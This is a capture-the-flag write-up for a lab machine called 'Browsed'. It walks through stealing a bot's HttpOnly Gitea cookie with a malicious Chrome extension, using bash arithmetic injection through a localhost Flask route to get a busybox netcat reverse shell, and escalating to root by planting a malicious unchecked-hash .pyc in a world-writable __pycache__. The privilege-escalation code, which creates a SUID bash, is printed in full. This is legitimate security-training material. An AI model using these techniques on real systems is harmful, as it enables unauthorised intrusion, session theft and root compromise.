Browsed centers around a web application that lets users upload Chrome extensions for "developer review" — meaning a headless Chrome bot automatically opens them. By crafting a malicious extension we steal the bot's internal Gitea session cookie, then leverage that browser's localhost access to exploit a bash arithmetic injection vulnerability in a Flask app, landing a shell as larry. Root comes via a Python .pyc cache hijack against a sudo-allowed script that imports from a world-writable __pycache__ directory.
User Flag
8b6a7b8de5xxxxxxxxxxxxxxxxxxxxxx
Root Flag
431ee05548xxxxxxxxxxxxxxxxxxxxxx
01Reconnaissance
Start with a full port scan. The -p- flag scans all 65535 ports. --min-rate 5000 speeds things up by sending at least 5000 packets per second. -sC runs default scripts and -sV fingerprints service versions.
nmap
$nmap-sC -sV -p- --min-rate 500010.129.244.79-oN nmap_full.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)
finding: Only two ports — SSH (22) and a web server (80). Simple attack surface, focus on the web app.
Run a directory and file bruteforce against the web server to find hidden paths and files.
finding:upload.php is a Chrome extension upload page. Sample extensions (fontify.zip, timer.zip, replaceimages.zip) are available to download and study.
Browsing to the site reveals an "Upload Your Chrome Extension" page. The description says "A developer will use it and reach back with some feedback" — meaning a bot automatically opens uploaded extensions in Chrome. Uploading any zip returns Chrome's verbose debug log, which leaks internal network requests:
Browsing to http://browsedinternals.htb/ reveals a Gitea instance (v1.24.5) — a self-hosted Git service. The "Explore" page shows one public repository: larry/MarkdownPreview. We clone it directly.
Extracting the backup tarballs and checking git history reveals no credentials. The critical files are app.py and routines.sh.
app.py — a Flask web app running on 127.0.0.1:5000 (localhost only). The most interesting route:
app.py (excerpt)
@app.route('/routines/<rid>')
def routines(rid):
subprocess.run(["./routines.sh", rid]) # user input passed directly to bashreturn"Routine executed !"
note: The Flask app is only accessible from 127.0.0.1 — but the bot's Chrome browser has localhost access. This is the SSRF vector.
routines.sh — processes the input with a bash arithmetic comparison:
routines.sh (excerpt)
if [[ "$1"-eq 0 ]]; then
find "$TMP_DIR"-type f -name"*.tmp"-deleteelif [[ "$1"-eq 1 ]]; then
tar -czf"$BACKUP_DIR/backup.tar.gz""$DATA_DIR"# ...
vulnerability — bash arithmetic injection:[[ "$1" -eq 0 ]] evaluates $1 in an arithmetic context. In bash, x[$(command)] is valid array subscript syntax — the $(command) gets executed as command substitution. If we pass x[$(id)] as $1, bash runs id as part of arithmetic evaluation. Single brackets [ ] are safe (external command); double brackets [[ ]] with -eq are not.
03Exploitation
The attack requires a malicious Chrome extension that: (1) uses the Chrome cookies API to prove we can reach internal resources, and (2) makes a fetch request to 127.0.0.1:5000/routines/ with our injection payload. Chrome extensions (Manifest V3) run background service workers with elevated privileges — they can read HttpOnly cookies and make cross-origin requests.
Phase 1 — Cookie theft (reconnaissance). Build a minimal extension to confirm the bot visits Gitea and steal its session token.
finding: We can read HttpOnly cookies from the bot's Chrome session — something page-level JavaScript cannot do. The cookies permission in Chrome extensions bypasses the HttpOnly restriction.
Phase 2 — Bash arithmetic injection for RCE. The challenge: [ and ] are invalid URL characters — browsers strip or reject them. Spaces break URL routing. The solution uses two bash tricks:
Trick 1 — x[$(cmd)] syntax: In bash arithmetic context, x[...] is a valid array subscript. $(cmd) inside it executes as command substitution. The browser sends [ and ] literally in the URL — Flask routes match them fine even if they look weird.
Trick 2 — ${IFS} instead of spaces:$IFS is bash's Internal Field Separator (defaults to space/tab/newline). In a URL, ${IFS} is just six harmless characters the browser passes through unchanged. When bash evaluates the arithmetic expression, ${IFS} expands to a space — splitting our command correctly.
why busybox nc? Modern nc builds drop the -e flag (execute program on connect) for security. Busybox's netcat retains it. -e sh spawns a shell connected to our listener.
bash — listener + upload
$nc-lvnp 7777
listening on [any] 7777 ...
connect to [10.10.15.9] from (UNKNOWN) [10.129.244.79] 33452
$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry)
The reverse shell is unstable for multiline commands. Stabilize with larry's SSH key found in ~/.ssh/id_ed25519:
The script imports a custom module extension_utils. Check the directory permissions:
bash
larry@browsed:~$ ls-la /opt/extensiontool/
-rwxrwxr-x 1 root root 2739 extension_tool.py
-rw-rw-r-- 1 root root 1245 extension_utils.py # group write, but larry not in root groupdrwxrwxrwx 2 root root 4096 __pycache__/# world writable!
finding:__pycache__/ is world-writable (777). Python checks this directory for compiled .pyc files before reading source — if we plant a malicious .pyc here, Python loads it instead of extension_utils.py.
The Python import cache hijack. When Python imports a module it checks __pycache__/ for a compiled .pyc file first. Normally Python validates the .pyc against the source file (by timestamp or hash). The key insight: compiling with PycInvalidationMode.UNCHECKED_HASH sets a flag in the .pyc header telling Python never to re-validate it against the source — it loads our malicious bytecode unconditionally.
bash — write exploit script
# Write exploit script line by line to avoid shell heredoc issues$echo'import os,py_compile,shutil,importlib.util' > /tmp/pwn.py
$echo'open("/tmp/eu.py","w").write("import os\ndef validate_manifest(p):\n os.system(\"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\")\n return {}\ndef clean_temp_files(x):\n pass\n")' >> /tmp/pwn.py
$echo'py_compile.compile("/tmp/eu.py","/tmp/eu.pyc")' >> /tmp/pwn.py
$echo'tag=importlib.util.cache_from_source("/opt/extensiontool/extension_utils.py")' >> /tmp/pwn.py
$echo'shutil.copy("/tmp/eu.pyc",tag)' >> /tmp/pwn.py
bash — compile and plant malicious pyc
larry@browsed:~$ python3 -c "
import py_compile, shutil, importlib.util, os
code = 'import os\ndef validate_manifest(p):\n os.system(\"cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\")\n return {\"version\":\"1.0.0\",\"manifest_version\":3,\"name\":\"x\"}\ndef clean_temp_files(x):\n pass\n'
with open('/tmp/eu.py', 'w') as f:
f.write(code)
src_stat = os.stat('/opt/extensiontool/extension_utils.py')
os.utime('/tmp/eu.py', (src_stat.st_atime, src_stat.st_mtime))
py_compile.compile('/tmp/eu.py', '/tmp/eu.pyc',
invalidation_mode=py_compile.PycInvalidationMode.UNCHECKED_HASH)
tag = importlib.util.cache_from_source('/opt/extensiontool/extension_utils.py')
shutil.copy('/tmp/eu.pyc', tag)
print('Written to:', tag)
"
Written to: /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
Now trigger the sudo script. Python loads our malicious .pyc, validate_manifest() runs as root copying bash and setting the SUID bit:
why -p? Without the -p flag, bash drops SUID privileges to match the real user ID (larry). -p tells bash to preserve the effective UID (root) set by the SUID bit.